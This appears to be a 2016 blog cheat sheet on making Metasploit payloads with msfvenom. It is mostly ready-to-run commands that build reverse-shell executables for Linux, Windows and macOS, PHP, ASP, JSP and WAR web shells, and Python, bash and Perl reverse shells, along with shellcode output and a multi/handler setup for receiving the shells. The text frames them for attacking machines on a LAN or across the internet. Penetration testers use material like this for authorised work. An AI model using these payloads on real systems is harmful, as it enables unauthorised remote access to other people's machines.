
By: adrianzxc
August 12, 2016
Creating Metasploit Payloads

By: adrianzxc
August 12, 2016
Often one of the most useful (and to the beginner, underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps to have something that can give you a shell in almost any situation. For each of these payloads, you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payloads and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to run.For the examples below, it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet). LPORT should be the port you wish to be connected back on.
List payloads
msfvenom -l
Binaries
Linuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe |
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho |
Web Payloads
PHPmsfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war |
Scripting Payloads
Pythonmsfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py |
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh |
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl |
Shellcode
For all shellcode, see ‘msfvenom –help-formats’ for information on valid parameters. Msfvenom will output code that's able to be cut and pasted in this language for your exploits.Linux Based Shellcodemsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
Handlers
Metasploit handlers can be great for quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format:use exploit/multi/handlerset PAYLOAD <Payload name>set LHOST <LHOST value>set LPORT <LPORT value>set ExitOnSession falseexploit -j -z |